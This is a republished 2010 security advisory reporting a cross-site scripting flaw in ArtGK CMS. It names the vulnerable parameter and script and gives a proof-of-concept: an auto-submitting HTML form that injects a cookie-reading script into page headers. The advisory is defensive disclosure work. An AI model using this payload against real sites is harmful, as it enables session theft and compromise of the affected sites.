Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:24651
HistorySep 02, 2010 - 12:00 a.m.

XSS vulnerability in ArtGK CMS

2010-09-0200:00:00
vulners.com
22

Vulnerability ID: HTB22588
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_artgk_cms_1.html
Product: ArtGK CMS
Vendor: ArtGK ( http://artgk-cms.ru/ )
Vulnerable Version: 2009-08-28 16:00:00 and Probably Prior Versions
Vendor Notification: 18 August 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "cms/classes/CAction.php" script to properly sanitize user-supplied input in _a[0][vars][head] variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/cms/action?async=exit&quot; method="post" name="main" >
<input type="hidden" name="_a[0][action]" value="saveAndPublish" />
<input type="hidden" name="_a[0][id]" value="1" />
<input type="hidden" name="_a[0][vars][title]" value="page title" />
<input type="hidden" name="_a[0][vars][description]" value="description" />
<input type="hidden" name="_a[0][vars][keywords]" value="metakeys" />
<input type="hidden" name="_a[0][vars][link]" value="/" />
<input type="hidden" name="_a[0][vars][use_content_in_head]" value="path" />
<input type="hidden" name="_a[0][vars][head]" value='<script type="text/javascript" src="/cms/js/ajax.js"> </script><meta name="keywords" content="keywords"/><meta name="description" content="Description"/><script>alert(document.cookie)</script><title>Site Title</title>' />
</form>
<script>
document.main.submit();
</script>